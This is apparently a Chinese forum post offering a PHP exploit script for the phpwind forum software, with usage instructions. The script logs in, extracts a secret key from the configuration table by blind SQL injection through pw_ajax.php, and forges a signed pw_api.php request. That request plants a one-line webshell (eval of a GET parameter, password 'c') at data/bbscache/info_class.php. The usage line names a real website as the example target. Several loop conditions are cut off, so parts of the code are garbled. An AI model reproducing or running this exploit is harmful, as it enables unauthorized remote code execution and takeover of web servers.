【Exp】phpwind 漏洞 利用 EXP

使用命令：

php pking.php user pass http://www.baidu.com/

生成一句话位于“data/bbscache/info_class.php”，密码为“c”。

pking.php：

echo "
Info: Poc for Phpwind远程命令执行
Test: exploit.php user password[/url]
";

if($argc
    echo "rn参数缺少rn";
    die();
}
$user=$argv[1];
$pass=$argv[2];
$pwurl=$argv[3];

$myheader=array(
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language: zh-cn,zh;q=0.5',
        'Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7',
        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
        'Referer:

$str=curlsend("$pwurl/login.php?","POST",0,$myheader,"forward=&jumpurl=http%3A%2F%2F127.0.0.1%2FPHPWind/upload%2F&step=2&lgt=0&pwuser=$user&pwpwd=$pass&hideid=0&cktime=31536000&submit=%B5%C7%C2%BC",1);
preg_match_all("/Set-Cookie:([^;]+)/is",$str,$array);
for($i=0;$i
    $cookie=$cookie.";".$array[1][$i];
}

//echo $cookie;

$test = curlsend('$pwurl/pw_ajax.php',"POST",0,$myheader,'',1);

if(strpos($test,'')) {
    die('用户密码或者其他参数错误');
}

$shellcode="action=pcdelimg&fieldname=db_value%20from%20pw_config%20where%20db_name%20like%200x64625f736974656f776e65726964%20and%20db_value%20like%200x{offset}25%20union%20select%200x612e2e;%23";

$hash="0123456789abcdef";
$craked="";

for($i=0;$i
    for($n=0;$n
        $tmp=str_replace("{offset}",bin2hex($craked.$hash[$n]),$shellcode);
        $tmp=curlsend("$pwurl/pw_ajax.php","POST",0,$myheader,$tmp,0);
        if(strpos($tmp,"pw_config")){
            echo "CrackEd Offset ".($i+1)." :".$hash[$n]."rn";
            $craked=$craked.$hash[$n];
            break;
        }
    }
}

echo "Craked Magicdata :".$craked."rn";

echo "Get shell :";

//another 0day
$arg='';
$hack = array();
$hack['mode'] = 'Other';
$hack['method'] = 'threadscateGory';
$hack['params'] = 'a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"'.eval($_GET[c]).'abc";}}}';
$hack['type'] = 'app';
$hack = strips($hack);
ksort($hack);
reset($hack);
foreach ($hack as $key => $value) {
    if ($value && $key != 'sig') {
        $arg .= "$key=$value&";
    }
}

$arg.='sig='.md5($arg.$craked);

echo file_get_contents("$pwurl/pw_api.php?".$arg);
echo "OKrn";

$str=file_get_contents("$pwurl/data/bbscache/info_class.php?c=echo%20Just_Nucler;");
if(strpos($str,'Nucler')){
    echo "Got shell :"."$pwurl/data/bbscache/info_class.php?c=phpinfo();";
    echo "rnOver!";
}

function strips($param) {
    if (is_array($param)) {
        foreach ($param as $key => $value) {
            $param[$key] = strips($value);
        }
    } else {
        $param = stripslashes($param);
    }
    return $param;
}

function curlsend($url,$method=false,$ssl=0,$myheader,$data='',$header=0){
global $cookie;
$ch = curl_init();

$timeout = 0; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, $method);
curl_setopt ($ch,CURLOPT_HTTPHEADER,$myheader);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
if($data){
curl_setopt ($ch, CURLOPT_POSTFIELDS,$data);
}
curl_setopt ($ch, CURLOPT_HEADER, $header);
if($ssl){
    curl_setopt($ch,  CURLOPT_SSL_VERIFYPEER,  FALSE);
}

$handles = curl_exec($ch);
curl_close($ch);
//echo $handles;
return $handles;

}